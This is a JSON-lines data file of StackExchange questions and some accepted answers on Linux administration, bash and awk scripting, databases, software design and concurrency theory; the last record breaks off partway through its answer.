{  "id": "_unix.297151"  , "question": "I'm not able to create a hotspot in order to share my wifi connection.I use Linux Mint and I want connect my phone to WIFI through my laptop hotspot."  , "title": "Share WIFI creating hotspot on Linux Mint"  , "tags": "linux;wifi;wifi hotspot"  } 
{  "id": "_unix.119031"  , "question": "I have a sample directory shared out with Samba which all users should have read/write access to. I would like to prevent some of these users from deleting any files (even the ones they create). This is mostly to prevent accidental deletions.  How can I ensure that some users have the ability to delete files while others do not?Things I've Tried:Sticky bit +t --- This still allows users to delete their own files. Not desired.(Samba) create mode=555 --- This prevents all deletions. I want some users to still be able to delete files."  , "title": "How can I prevent some users from deleting files in samba?"  , "tags": "debian;permissions;samba"  } 
{  "id": "_codereview.52441"  , "question": "after profiling my application, it turns out that a single method is taking 3 minutes to run, which is about a third of the total runtime.The method deletes approx. 400.000 rows from each table (PROCESSED_CVA and PROCESSED_DVA).The code executing the queries :public final static String DELETE_CVA = delete from PROCESSED_CVA where RUN_ID = ?;public final static String DELETE_DVA = delete from PROCESSED_DVA where RUN_ID = ?;public void purge(Run run) throws HibernateException {    Session session = null;    if (session == null) {        session = sessionFactory.openSession();    }    Transaction t = session.beginTransaction();    try {        SQLQuery query = session.createSQLQuery(DELETE_CVA);        query.setLong(0, run.getRunId());        query.executeUpdate();        query = session.createSQLQuery(DELETE_DVA);        query.setLong(0, run.getRunId());        query.executeUpdate();        t.commit();    } catch (HibernateException he) {        logger.error(Failed to purge processed cva and dva for run:  + run.getRunId(), he);        t.rollback();        throw he;    }}Both tables have the same structure.CREATE TABLE PROCESSED_CVA (DEAL_ID VARCHAR2(23 BYTE), NTT_ID VARCHAR2(10 BYTE), CVA FLOAT(126), RUN_ID NUMBER(10,0))  ;ALTER TABLE PROCESSED_CVA ADD CONSTRAINT PK_CVA PRIMARY KEY (DEAL_ID, RUN_ID)There is an index on the primary key.The execution plan :OPERATION                       OBJECT_NAME     OPTIONS         COSTDELETE STATEMENT                                                100582    |_ DELETE                   PROCESSED_CVA        |_ INDEX                PK_CVA          SKIP SCAN       100582            |_ Access Predicates                |_ RUN_ID=100            |_ Filter Predicates                |_ RUN_ID=100Can I speed this up ?UPDATEDBMS : Oracle"  , "title": "Slow delete query on table with composite index"  , "tags": "java;performance;sql;oracle"  , "accepted_answer": "Oracle uses the following strategy when deleting data. It:identifies the rows that need to be deleted (it does use your PRIMARY KEY index to check the RUN_ID value, but because the RUN_ID is not the first column in the index it needs to 'skip' values in the index).it deletes the record in the online version of the datait writes a physical record to the transaction / redo log to record the values that were deletedOracle works on a per-block bases for it's redo log:A redo record, also called a redo entry, is made up of a group of change vectors, each of which is a description of a change made to a single block in the databaseEach time you change a record, the block it is stored in is changed, and the difference is recorded in the redo log. The number of blocks you change is a key factor in determining the amount of redo-log work that you do. The number of blocks is closely related to the amount of data you are changing, and the way that the data is distributed.If you are deleting a bunch of records that are all stored really close to each other, then the chances are that the number of blocks that are affected will be small. If the records are scattered on many blocks, then the number of blocks affected is high.Based on the key you have specified for your data DEAL_ID, RUN_ID it appears to me that your data for a specific RUN_ID will be scattered all over the database.This means that, for each time you delete the data, you are actually inserting 400,000 redo-log entries, modifying 400,000 blocks of storage (let's say 8K each, so that's 3GB of IO), and generally processing the system quite hard.So, apart from the basic problem of deleting 400K records, and inserting 400K redo-entries, and writing all that data to disk, what else could it be?Locks will likely need to be escalated. Oracle will start by trying to lock the records one at a time, but will quickly find that the lock-management requires a bigger lock strategy, so it make replace the row-locks with block-locks, and then finally escalate the block locks to a full table lock. In itself, this is not a significant performance problem, but what is a problem is if anyone else is running anything against the table.... the lock escalation will have to wait until all other locks on the table are serviced. Only then will it gain exclusive access.Ways to improve the performance would be:monitor the database. Confirm that IO is a real problemmonitor the lock strategies... are there significant lock-wait situations.reduce the logging requirments...  physically order the data in the same order as the RUN_ID. you can 'cluster' the data, or, in Oracle terms, you can have index organized table. Much fewer blocks will change with this.improve the log-device performance - put your log files on an SSD?"  } 
{  "id": "_unix.194098"  , "question": "How can I grep a specific word in a single string that contains repetitions?For example :Apple_1 Apple_1_Test Juice_2 Juice_2_HIf I use grep -Eo 'Apple_1' I get two results (because of two Apple_1 in the original string)But what if I want to grep only the perfect word Apple_1 and not Apple_1_Test or Juice_2 and not Juice_2_H?? "  , "title": "Grep a specific word in a single string with repetitions"  , "tags": "bash;grep"  , "accepted_answer": "Add a word boundary assertion:grep -Eo '\\bApple_1\\b'"  } 
{  "id": "_webmaster.7396"  , "question": "My site has 30,000 visits with 86,000 page views. If the bounce rate of 54%, then does it means only 15,000 users generated the 86,000 page views or 30,000 visits generated the 86,000 page views.My website is www.cricandcric.comEven though I have got 86,000 page views, my site's Alexa ranking is still getting worse day by day. How do I control that?"  , "title": "How do bounce rate and page views change Alexa rankings?"  , "tags": "google;alexa"  } 
{  "id": "_unix.347595"  , "question": "I have one SSD and one HDD on my PC. SSD runs Windows 7, i want to set up Ubuntu as dual boot on the HDD. I downloaded the WUBI.exe for 16.04 and installed it to my HDD. After first startup i got some errors like root file system not defined after it successfully booted to the main Ubuntu screen. I googled a bit and it seemed like (i was using both the HDD and SSD prior to that in Windows) my HDD was in NTFS and i needed to set up Ext4 first of all. So i downloaded Partition Wizard, and changed the HDD from NTFS to Ext4. Upon booting Ubuntu i get the error error starting windows for file \\ubuntu\\winboot\\wubildr.bmr. I can't boot Ubuntu, Windows 7 works fine, my HDD is not visible in Windows 7 anymore. How can i fix that? I don't know alot about system settings, but the fact that my HDD is not visible under Windows should be ok, because Windows can't react Ext4. How can i repair my HDD tho, if i isn't visible under Windows anymore?EDIT: I formatted the HDD again with partion wizard as EXT 4 and made a bootable USB stick with Ubuntu on it. After booting the stick to install Ubuntu on the HDD, it doesn't find the HDD in the installation menu and i can only select the SSD where my windows is installed. I don't want to partition the SSD. What's wrong here?"  , "title": "Problems on setting up Ubuntu as dual boot"  , "tags": "linux;ubuntu;windows;ext4"  } 
{  "id": "_unix.26727"  , "question": "As part of a larger autocomplete function I'm writing, I want to use compgen to generate a list of files. I read the bash manual entries for compgen and complete, and from there I assumed that the option -G * would be the solution. I could not get it to work, though: The list of files in the current directory was shown, regardless of my input, i.e.:$ cmd <Tab>aa bb cc$ cmd a<Tab>aa bb cc$ cmd aa<Tab>aa bb ccTherefore, I tried to debug this by using complete, which supports the same options as compgen, but I got the same result:$ complete -G * cmd$ cmd a<Tab>aa bb ccI also tried complete -o filenames, but this doesn't work either.."  , "title": "autocomplete filenames using compgen"  , "tags": "bash;autocomplete;compgen"  , "accepted_answer": "I found the answer myself: I have to use the -A action option:compgen -o filenames -A file ...complete -o filenames -A file"  } 
{  "id": "_webapps.82539"  , "question": "my team uses a private Google+ Community for updates. If I need to call in sick, I would have to navigate to the community and post. The last time I tried, it continuously failed on my Galaxy S3, though my gmail worked fine. Is there a way to send an email to the Community and my message be added as a post?Note: I did read this post (Can I create a post in a Google+ Community direct from Gmail?), and the answer was not determined and seems that the post was abandoned as an argument was beginning. To clarify, I want to know how to use email to send a post to Google + Community.Thanks in advance for any tips that make this happen. I am fairly certain this is possible as I am able to respond to other members' posts directly from my inbox."  , "title": "How to use email to send a post to Google+ Community"  , "tags": "google plus communities"  } 
{  "id": "_softwareengineering.351538"  , "question": "We have a master system storing customer data. Data is replicated to client systems (channels) at night. During the day data can be updated by users/customers on the master as well as on the clients.I need all data to be kept in sync between master and clients. Preferably real-time (within minutes).What pattern should I be looking at? CQRS/ES?Some notes:I don't control the master, so I can't implement a broadcast soltution on that end.Master data can be set real-time using web-services, but can only be bulk-read once a day.When updates are coming from certain clients, I need to do some processing on other clients.<1000 messages a day.MS/.NET environment."  , "title": "Keeping customer data in sync between master and multiple clients"  , "tags": "patterns and practices;data replication"  } 
{  "id": "_softwareengineering.244751"  , "question": "Is telnet just a simple socket connection?I usually have a difficult time in the networking area so I use some code from the internet to help me out, but I can't seem to find a library for Telnet in Objective-C.The closest thing I've found is CocoaAsyncSocketI was wondering, Is telnet just plain socket connections?Do I just create a socket to the server and send the commands?"  , "title": "How does Telnet work?"  , "tags": "objective c;networking"  , "accepted_answer": "Telnet is a bit more than just plain socket connections, but in many cases, just opening a socket to the server and sending the commands will do the trick anyway. See the wikipedia page for more details and links to the RFCs."  } 
{  "id": "_unix.359346"  , "question": "Basically I created an alias which isalias 1=python /root/sqlmap-dev/sqlmap.pyand when i type 1 it's working excellent but if i opened another terminal and typed 1 again. it's not recognize the alias !so how to make the alias available everywhere ?"  , "title": "How to make alias work in other terminals"  , "tags": "bash;shell;alias"  } 
{  "id": "_unix.36146"  , "question": "This is my command:echo Test | sed -f <(sed -e 's/.*/s,&,gI/' mydic)  The file mydic contains 2 columns delimited by commas (,)a,AlphabetA  .  .   .    e,AlphabetE   .   .   s,AlphabetS  .   t,AlphabetT   test,testedd   .   .   zebra,zebraaaaThe expect result is testedd, but I get AlphabetTAlphabetEAlphabetSAlphabetT."  , "title": "sed substitution matches too many inputs"  , "tags": "sed"  , "accepted_answer": "echo Test |sed -f <(sed 's/\\(.*\\),\\(.*\\)/s,\\\\<\\1\\\\>,\\2,gI/' mydic)\\< and \\> indicate the start and end of a word, respectively.  "  } 
{  "id": "_webmaster.55525"  , "question": "Our site is receiving page views with strange browser locales. The most recent, on Sunday, included the following;vi_VNvi_VIzh_SGas_ASbn_BNmr_MRkn_KNor_ORml_MLpa_PApa_INpa_PKta_TAte_TEThe UA string is;Mozilla/5.0 (X11; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0We can't see any malicious input being attempted but we don't currently support any locales besides en_GB and en_US. The IP is located in Arizona.Has anyone experienced this before? If so, what was the motivation behind it?Is this something I should be concerned about?"  , "title": "Why would someone try viewing the site with unsupported languages?"  , "tags": "language"  , "accepted_answer": "Firefox has the ability to send many languages.  This feature is designed such that somebody can specify which language(s) they understand and the web server can choose which to display.In Firefox this is available under Preferences -> Content -> Languages -> Choose.  It appears that in this case a user has added a ton of languages here.  Probably ones that they don't actually speak.  I can do the same thing if I want to:"  } 
{  "id": "_softwareengineering.341557"  , "question": "I have a finished Chinese-English dictionary website as a personal project and it works pretty great. I'm using node/Express with node-dirty, which is a barebones file-based JSON database that loads everything into memory on start-up. As I keep adding more features though, I have to continuously update my database generation scripts (tedious string manipulation) and server start-up load times are a couple minutes. I'm also in later need of implementing paging.I'm interested in potentially moving to a more typical database (MongoDB, for instance).Being everything is in-memory with node-dirty, I just loop through the entire thing, check exact matches or edit distance and I'm good to go. Even with 120,000 entries it takes less than 50ms (for one user of course).How does one search with a typical database? I'm not sure how I would narrow down the result set with Chinese/pinyin/English matches in a query or if I would have to store all the results in memory like I do now and parse through them in the service side.I'm not really interested in how Google searches the internet (nor have I studied advanced algorithms) but a simple sensible solution for a hobbyist."  , "title": "Where does search query logic go? Database or Service code?"  , "tags": "database;search"  } 
{  "id": "_unix.110015"  , "question": "I've been reading a tutorial that shows how to set the background image that will be displayed behind the GRUB2 boot options menu. However, I am concerned that the text might not be visible against the image I've chosen. How can I preview what the screen will look like, without having to restart the computer?"  , "title": "How can I preview the GRUB2 boot screen?"  , "tags": "grub2;dual boot;images"  , "accepted_answer": "The easiest way is to use grub-emu. On Debian based systems, this can be installed withsudo apt-get install grub-emu Once you have installed it, you can run it to preview your grub setup:sudo grub-emu"  } 
{  "id": "_softwareengineering.271540"  , "question": "I am writing an angular application, and I'm wondering how much client side memory to use.I'm currently working on a scenario where there are 2 dropdowns.  The second will load new values depending on the selection of the first.  I'm thinking the max # of total records in the 2nd dropdown would be around 2000-3000 items, each being around 2k each.  Each selection would display probably 10-15 items of the 2000-3000.Should I load the entire array into memory and parse the selected values from there, or should I read from the server every time the first dropdown changes?I know for a desktop this wouldn't be a big deal.  But we support phones and tablets, and I'm not sure how much memory to worry about with these devices."  , "title": "Any advice on how much browser memory to use?"  , "tags": "memory usage"  , "accepted_answer": "What you're describing is called a cascading dropdown.  It's commonly used by car websites to get Year, Make and Model.I've seen a lot of these sites do an AJAX/JSON round trip for the sub-combos.  There's a bit of a lag if you do this, unless it happens before the user opens the second dropdown.  On a phone, I think you should probably do that instead of loading all of the items.  Phone users are already used to things happening a bit more slowly.In any case, make sure you can get the server to send only the 20 bytes per entry that you need for the dropdown.  If you can't get it to do that, then taking the hit for all 2000 complete objects is probably out of the question (that's 4 megabytes, just for one page)."  } 
{  "id": "_unix.147198"  , "question": "Let's say I have to perform these actions from an input file:   extract nth field from a line starting with a given pattern (in the exemple: 2nd field of the line starting with pattern 'name')  print the field content at the beginning of every following line, while the line does not start with the selected pattern    when a new line matching the pattern is found, repeat step 1 and 2I'm currently doing this using Python, but it would be better using something light and fast from command line (like awk, for exemple).Sample input name    NAME_Ainf     field_A1name    NAME_B inf field_B1inf field_B2Expected output: name    NAME_ANAME_A  inf field_A1name    NAME_B NAME_B  inf field_B1NAME_B  inf field_B2"  , "title": "Patterns and file processing"  , "tags": "awk"  , "accepted_answer": "This can be a way to do it. Note the format may vary depending on the field separators you indicate - those you can define with FS and OFS:$ awk -v n=2 '/^name/ {a=$(n); print; next} {print a, $0}' filename    NAME_ANAME_A inf  field_A1name    NAME_B NAME_B inf  field_B1NAME_B inf  field_B2Explanation-v n=2 defines the field number to copy when the pattern is found./^name/ {a=$(n); print; next} if the line starts with the given pattern, store the given field and print the line.{print a, $0} otherwise, print the current line with the stored value first.You can generalize the pattern part into something like:awk -v n=2 -v pat=name '$1==pat {a=$(n); print; next} {print a, $0}' file"  } 
{  "id": "_cs.60652"  , "question": "Atomic exchange instruction is given as follows:void exchange (int *a, int *b){   int temp;   temp = *b;   *b = *a;   *a = temp;}Now consider the solution to critical section problem based on above instruction:1   int const n = /* number of processes */;2   int lock = 0;3   void P(int i)4   {5      int key = 1; //intent to obtain lock6      while (true) 7      {8         do exchange (&key, &lock)9         while (key != 0); //if lock wasnt free10        /* critical section */;11        lock = 0;   //release lock, unblock12                    //other processes13        /* remainder */;14     }15  }16  void main()17  {18     lock = 0;19     parbegin (P(1), P(2), ..., P(n));20  }Now I want to analyse two properties of critical section problem solution for this algorithm: bounded waiting and progress. People online define it many ways. For example: 1, 2.One way is as explained here:Progress: means process will eventually do some workBounded waiting: means that the process will eventually gain control of the processorHowever I feel these are incorrect (Q.1 Am I wrong?) as this will imply lack of bounded waiting result in the lack of progress, essentially suggesting two requirements are one and the same (Q.2 Or is it like that only?).Galvin et al defined these requirements more verbosely in their book:Considering the process has following structure:do{    //entry section (implementing some locking mechanism)    //critical section    //exit section (implementing some unlocking mechanism)    //remainder section}while(true);Progress: If no process is executing in its critical section and some processes wish to enter their critical sections, then only those processes that are not executing in their remainder section can participate in the decision  on which will enter its critical section next, and this selection cannot be  postponed indefinitely.Bounded Waiting: There exists a bound on the number of times that other  processes are allowed to enter their critical sections after a process has made  a request to enter its critical section and before that request is granted.Now with the help of these definitions I want to know whether bounded waiting and progress is ensured or not.I feel bounded waiting is not ensured in above code as process P1 can enter its critical section any number of times before P2 can enter its critical section. This can be seen in below table:| Step# | P1      | P2                ||-------|---------|-------------------|| 1     | Line 5  |                   || 2     | Line 6  |                   || 3     | Line 8  |                   || 4     | Line 9  |                   || 5     |         | Line 5            || 6     |         | Line 6            || 7     |         | Line 8            || 8     |         | Line 9 //spinwait || 9     | Line 10 |                   || 10    | Line 11 |                   || 11    | Line 13 |                   || 12    | Line 5  |                   || 13    | Line 6  |                   || 14    | Line 8  |                   || 15    | Line 9  |                   || 16    |         | Line 8            || 17    |         | Line 9 //spinwait |However this means that P1 can execute forever without letting P2 enter its critical section at all. If we consider that the progress means process will eventually do some work (as stated in non-book definition above), then this will also mean that progress is also not ensured.However I am trying to deduce if this is indeed the case with Galvin's definition also. But before that I want to interpret Galvin's definition of progress as follows:If no process is executing in its critical section and some processes wish to enter their critical sections, then only those processes that are not executing in their remainder section (in other words, processes executing in their entry and exit section) can participate in the decision on which will enter its critical section next, and this selection cannot be postponed indefinitely.Now in table above, at step 10, no process is executing in its critical section. Process 1 executes line 11   lock = 0; which is essentially its exit section. Thus we can say that the decision to let process 2 enter its critical section is taken in exit section of process 1. Also in step 14, process 1 executed line 8    do exchange (&key, &lock), which is essentially entry section. Thus we can say that the decision to let process 2 not to enter its critical section is taken in entry section of process 1. (Q.3) With this interpretation, should we say that the progress is ensured?I feel tangled with words here. Or I might be giving unnecessary importance to the concept of progress. Neverthless, I need to know whats the truth about progress requirement.PS: The same confusion occurred to me while dealing with attempts made to produce Dekker's algorithm by Stallings in his book as I explained in comments to this answer. "  , "title": "Bounded waiting and progress requirements of critical section problem solution based on exchange instruction"  , "tags": "operating systems;concurrency;critical section"  } 
{  "id": "_cs.65943"  , "question": "In a flow network, the exact edge capacities are not known. The range of capacity for each edge is known. You can get the exact edge capacity by paying a cost for each query.Calculate max flow with min query cost."  , "title": "Ford-Fulkerson Algo variation"  , "tags": "network flow;ford fulkerson"  } 
{  "id": "_softwareengineering.351299"  , "question": "so I'm trying to understand how microservices are set up in a language agnostic manner for purely experimental purposes.For the sake of having a more concrete example, how would a microservice architecture work in a Node.js CRUD server, does a simple CRUD server even benefit from microservices?What are the kinds of things that commonly get delegated to a microservice?Is a microservice the same as a module in a program or does it have a completely separate process?How do microservices communicate with the main server, is it something like UNIX sockets?"  , "title": "What is the common practice for implementing a microservice architecture?"  , "tags": "language agnostic;microservices;crud"  , "accepted_answer": "Allow me to be as strigthforward with my answers as you are in your questions.How would a microservice architecture work in a Node.js CRUD server,  does a simple CRUD server even benefit from microservices?This is a wrong question. The  Microservices architecture is not a  technical answer to a technical question. It's rather a technical strategy for organizational needs.Don't ask what Microservices can do for your actual application. Do ask what can they do for your company. For your business.They provide the company with the capacity to deliver new services to the customers quickly and directly. To adapt your business to the changes of the market. In a constantly changing world, that could be an unvaluable capacity.However, it's not for free. It might interest you to take a look to the trade-offs.What are the kinds of things that commonly get delegated to a  microservice?Business capabilities. Often referred as bounded contexts. This's a very broad and complex subject. For further references, seek out by: Microservices decomposition strategies.Is a microservice the same as a module in a program or does it have a  completely separate process?They are completely separated processes. Microservices are independent in almost all the senses.How do microservices communicate with the main server, is it something  like UNIX sockets?There's no centric components (server) in the Microservices architecture. That goes totally against its nature. As @scriptin commented, Microservices are stand alone applications. Small applications working together. A Microservice is both client and server at the same time.Allow me to do a naive comparision. The Microservices philosophy is cooperativism. They work like a soccer team. Microservices (players) cooperate with each other for a greater good."  } 
{  "id": "_unix.287779"  , "question": "If I am running an 'unsupported' version of Linux, which is based on Debian, is there any way that I can still get the updates from debian systems as they are released? OR am I stuck waiting on the developers to release patches for the Operating system which I am running ?Thanks,"  , "title": "Debian Security Updates"  , "tags": "debian;security;upgrade"  } 
{  "id": "_softwareengineering.225145"  , "question": "First, I want to say this seems to be a neglected question/area, so if this question needs improvement, help me make this a great question that can benefit others!In my experience, there are two sides of an application - the task side (where the users interact with the application and it's objects where the domain model lives) and the reporting side, where users get data based on what happens on the task side.On the task side, it's clear that an application with a rich domain model should have business logic in the domain model and the database should be used mostly for persistence. Separation of concerns, every book is written about it, we know what to do, awesome.What about the reporting side? Are data warehouses acceptable, or are they bad design because they incorporate business logic in the database and the very data itself? In order to aggregate the data from the database into data warehouse data, you must have applied business logic and rules to the data, and that logic and rules didn't come from your domain model, it came from your data aggregating processes. Is that wrong?I work on large financial and project management applications where the business logic is extensive. When reporting on this data, I will often have a LOT of aggregations to do to pull the information required for the report/dashboard, and the aggregations have a lot of business logic in them. For performance sake, I have been doing it with highly aggregated tables and stored procedures.As an example, let's say a report/dashboard is needed to show a list of active projects (imagine 10,000 projects). Each project will need a set of metrics shown with it, for example:total budgeteffort to dateburn ratebudget exhaustion date at current burn rateetc.Each of these involves a lot of business logic. And I'm not just talking about multiplying numbers or some simple logic. I'm talking about in order to get the budget, you have to apply a rate sheet with 500 different rates, one for each employee's time (on some projects, other's have a multiplier), applying expenses and any appropriate markup, etc. The logic is extensive. It took a lot of aggregating and query tuning to get this data in a reasonable amount of time for the client.Should this be run through the domain first? What about performance? Even with straight SQL queries, I'm barely getting this data fast enough for the client to display in a reasonable amount of time. I can't imagine trying to get this data to the client fast enough if I am rehydrating all these domain objects, and mixing and matching and aggregating their data in the application layer, or trying to aggregate the data in the application.It seems in these cases that SQL is good at crunching data, and why not use it? But then you have business logic outside your domain model. Any change to the business logic will have to be changed in your domain model and your reporting aggregation schemes.I'm really at a loss for how to design the reporting/dashboard part of any application with respect to domain driven design and good practices.I added the MVC tag because MVC is the design flavor du jour and I am using it in my current design, but can't figure out how the reporting data fits into this type of application.I'm looking for any help in this area - books, design patterns, key words to google, articles, anything. I can't find any information on this topic."  , "title": "Best practice or design patterns for retrieval of data for reporting and dashboards in a domain-rich application"  , "tags": "mvc;domain driven design;enterprise architecture;reporting;data warehouse"  } 
{  "id": "_unix.237123"  , "question": "The GNU Coreutils manual for mv says:If a destination file exists but is normally unwritable, standard  input is a terminal, and the -f or --force option is not given, mv  prompts the user for whether to replace the file. (You might own the  file, or have write permission on its directory.) If the response is  not affirmative, the file is skipped.However, the version of mv I am using (GNU coreutils 8.21 on Ubuntu 14.04.3 LTS) exhibits unexpected behaviour:$ which mv/bin/mv$ ls -ltotal 0$ echo foo > 1; chmod -w 1; cp 1 2; ls -l | cut -d' ' -f 1-5,9-r-x------ 1 me me 4 1-r-x------ 1 me me 4 2$ echo bar > 2-bash: 2: Permission denied$ mv 1 2$ ls -l | cut -d' ' -f 1-5,9-r-x------ 1 me me 4 2Based upon the manual excerpt quoted above, I would have expected the mv 1 2 command to have prompted the user before overwriting file 2.Is there a bug in my version of mv, or a bug in my understanding? If the latter, then what does the manual mean?"  , "title": "mv overwrites read-only file without prompting"  , "tags": "shell;mv;coreutils"  } 
{  "id": "_unix.327845"  , "question": "How to use regexp/pattern-searching under gunzipped files. For instance ummm... let's use -/usr/share/doc/linux-image-4.8.0-1-amd64$ zcat changelog.gz | lessNow the way I use is when reading the contents via less, use the / to locate the name or whatever term I use but this doesn't work/scale well if name/term is repeated many a time. I also tried - /usr/share/doc/linux-image-4.8.0-1-amd64$ zcat changelog.gz | grep $search-term | lessI do get the names/search-term but without the surrounding context as of date and other things. Is there a way to get the search-term highlighted even if it duplicated n number of times while reading the changelog.gz An example of what I mean https://gist.github.com/shirishag75/e1238c16d2d372c4cfc3f62e25da335aAs can be seen I do get the search term/regexp but without date-time context it is and can be somewhat meaningless without knowing when the changes happened. "  , "title": "How to do Regexp/pattern-searching in gunzipped files?"  , "tags": "debian;regular expression;gzip"  } 
{  "id": "_webapps.21337"  , "question": "I really like Github's impact graph about my Open Source project.I would like to include it in a presentation, so I would like to download it as an image.QUESTION: How to export this graph to an image?Anything smarter than taking hundreds of screenshots and assembling them? That's the lame method I used last year to produce the image below (out-of-date):"  , "title": "Export Github impact graph to image"  , "tags": "github"  , "accepted_answer": "If you don't need the textual labels (which are drawn as <p> overlays), you could just right-click the graph in Firefox and choose Save Image As... (It's a <canvas> element and Chrome doesn't yet offer a save option for those).If you do need the date labels, I'd suggest looking for a Firefox screenshot extension capable of grabbing a complete screenshot of a scrolling sub-element in one go. (I know they exist for <iframe> elements, so being able to do it for a scrolled <div> isn't outside the realm of possibility)"  } 
{  "id": "_unix.46485"  , "question": "I'm finding a lot of conflicting information out there, and as of yet haven't found anyone trying to pull together all of the components that I'm trying to do, so I'm hoping someone who understands SSD, encrypted LVMs and so on can stop by and help out.Basically, my system is a laptop with:/dev/sda: 32 GB SSD/dev/sdb: 256 GB SSD/dev/sdc: 1000 GB HDGenerally my Linux installs consist of three partitions:~50 mb /bootlarge /home~30 gb everything elseSo effectively I'd like/dev/sda1 -> /boot/dev/sda2 -> //dev/sdb1 -> /home/dev/sdc1 -> /swap/dev/sdc2 -> /mnt/storageThe catch is I'd like to encrypt all of this (except for /boot and /mnt/storage which can stay unencrypted). I've read that when encrypting SSDs there can be issues with things like TRIM, and that ideally I'd want to use EXT4 with some particular options set, and that I must be very careful with partition alignment, and some just claim that encrypted LVMs really don't play well with SSDs and I should just use EncFS or eCryptfs (although people seem unclear and/or polarized on whether these should be used to encrypt mount-at-boot partitions like / and /home).Is there any canonical information on this?"  , "title": "LVM + LUKS + SSD + Gentoo -- making it all work together"  , "tags": "gentoo;lvm;encryption;ssd"  , "accepted_answer": "I'm running btrfs on top of dm-crypt for a while now. Since btrfs is a multi-device capable and dynamic (grow, shrink etc) filesystem, I don't really need the LVM layer for my purposes.Other than that, use a recent enough dm-crypt that has --allow-discards capability, 3.1+ kernel and a filesystem that also allows discards (btrfs, ext*, ...).Some stuff to read through doing all this:https://code.google.com/p/cryptsetup/wiki/Cryptsetup140 (--allow-discards)http://thread.gmane.org/gmane.linux.kernel.device-mapper.dm-crypt/4075/http://asalor.blogspot.com/2011/08/trim-dm-crypt-problems.html (Milan Broz, dm-crypt developer)I'll update with more links over time as I find them from my bookmark abyss :>I have not benchmarked my setup particularly much. For me it's behaving more than adequate in performance i.e. still worlds ahead of HDD. I don't know for now exactly what state my SSD is in and whether the multi-layer discard system is really working 100%. What's important rather is I have enough performance with enough of a security model to fend off the higher-probability issues, such as , forgetting the device, device being stolen by random people, etc.So finding out exactly how much my SSD lifespan has possibly shortened, or performance slowed because of the discard system not working 100% correctly for TRIM, or how much dm-crypt discards weaken its inherent security - I have not been able to gather information to warrant giving these questions a high priority. One of the reasons I'm writing this answer is perhaps I'm wrong too much and putting this out here is currently the optimal way for me to try to find out."  } 
{  "id": "_softwareengineering.123461"  , "question": "Here's a question for me that really makes me wonder every time I start designing and developing a thick-client desktop application.I'm a .NET developer, and with my forms (WinForms mostly, but the platform should be unimportant) I also choose the startup position to be Center.  The reason I do this is because I can't stand randomness, and as a user myself I don't like when windows jump all over my monitor.So my question for you, is what is the best way to go about this?  Center an application startup window or have it randomly placed?  And why?"  , "title": "Window Position on Startup"  , "tags": ".net;windows"  , "accepted_answer": "What I like to do is save the last size and position of the application window (at app shutdown) as a user setting.  Then when the application is restarted I restore the last used size and position.If you do this, be careful of using the spurious settings you'll get if the app is minimized at the time it is shut down (e.g. by a forced shutdown).If I don't have a user setting to go by, I like to centre the window horizontally and then vertically I like it about 1/3 of the way down from the top.  This has a nicer feel to it than dead centre vertically.  Purely an asthetic choice on my part."  } 
{  "id": "_unix.254359"  , "question": "I am trying to clarify my understanding of terminal here.Terminal is actually a device (keyboard+monitor). When in CLI mode, the input from your keyboard goes directly to shell and also displayed on monitor.Meanwhile, when using GUI mode, you have to open terminal emulator program to interact with shell. The input from your keyboard goes to terminal emulator program and also displayed on terminal emulator window on monitor. The input does not directly goes to shell. The terminal emulator program will relay the input from your keyboard to shell. The terminal emulator program communicates with the shell using pseudo-terminal.There is no terminal emulator program involved when you go straight to CLI from boot.Please comment and correct me if anything wrong with my understanding.Update: I read back TTY demystified. I think what I should ask is the difference between text terminal (boot straight to text mode) and GUI terminal because I thought terminal=text terminal, terminal emulator=GUI terminal e.g. Gnome Terminal, which are wrong. From the answers in regards to before this update, a user is actually using terminal emulator program (user space) too like in GUI mode. May I know is it TTY program because I found TTY process when running command 'ps aux'. I never knew there is terminal emulator program involved too (not referring to terminal emulator in kernel space) in text mode.Update2: I read Linux console. According to it, text mode is console, meanwhile terminal software in GUI mode is terminal emulator. Well, it makes sense and it is same with my understanding before. However, according diagram from TTY demystified, terminal emulator is in the kernel space instead of user space. Interestingly, the diagram refers to text mode."  , "title": "Terminal vs Terminal emulator"  , "tags": "terminal;terminal emulator"  } 
{  "id": "_unix.288738"  , "question": "I'm building a bash script that uses wget to GET information from a server using a REST api. I'm using getopts to parse options given to the script and then using an if statement to redirect the script correctly based on the options given. The if goes to the main body of the script (ie the wget call), the elif prints the help menu, and the else prints an error message. However my elif appears to be acting as an else statement. When I run:>./jira -hI get the proper response, i.e. the help menu:----------jira options----------Required:-d [data/issueID]-u [username] -> [username] is your JIRA username-p [password] -> [password] is your JIRA passwordOptional:-q -> quiet, i.e. no output to console-h -> help menuHowever, when I run something that should give me the error message I get help menu instead:>./jira -u jsimmons----------jira options----------Required:-d [data/issueID]-u [username] -> [username] is your JIRA username-p [password] -> [password] is your JIRA passwordOptional:-q -> quiet, i.e. no output to console-h -> help menu My script is below:#!/bin/bash#using getopts to parse optionswhile getopts :hqd:u:p: opt; do        case $opt in                h)                        help=true                        ;;                      q)                        quiet=true                        ;;                      d)                        data=$OPTARG                        ;;                u)                        username=$OPTARG                        ;;                p)                        password=$OPTARG                        ;;                \\?)                        echo Invalid option: -$OPTARG >&2                        ;;                :)                        echo Option -$OPTARG requires an argument. >&2                        ;;        esacdone#check if required options have been setif [[ -n $data && -n $username && -n $password ]]; then         wget -q --http-user=$username --http-passwd=$password --header=Content-Type: application/json [URI]        #placing issue info into variable        response=$(< $data)         #using heredoc to run python script        #python script uses regular expressions to find the value of the field         #customfield_10701 ie the branch version         output=$(python - <<EOFimport rematchObj = re.search(r'(?<=customfield_10701:).*(?=,customfield_10702)', '$response', re.I)if(matchObj):        print(matchObj.group())EOF)        #writes branch version in .txt file        echo $output>branchversion.txt         #prints the branch version if the quiet option hasn't been set         if [ -z $quiet ]; then                echo -------------------------------------------                 echo                 echo The branch version for issue $data is:                cat branchversion.txt                echo         fi        #removes file that wget creates containing all data members for the issue        rm $dataelif [ -n $help ]; then         #if help option has been set            echo          echo ----------jira options----------        echo Required:        echo -d [data/issueID]        echo -u [username] -> [username] is your JIRA username        echo -p [password] -> [password] is your JIRA password        echo         echo Optional:        echo -q -> quiet, i.e. no output to console        echo -h -> help menu        echo         #http GET data members for issueelse        #if not all required options or help have been set              echo Error: Missing argument(s)        echo Usage: ./jira [option(s)] -d [data] -u [username] -p [password]        echo          echo Try: ./jira -h for more optionsfi"  , "title": "Why is my elif being treated as an else statement in my bash script?"  , "tags": "bash;shell script;test"  , "accepted_answer": "the -n option checks if a string is non-zero length.if [ ... 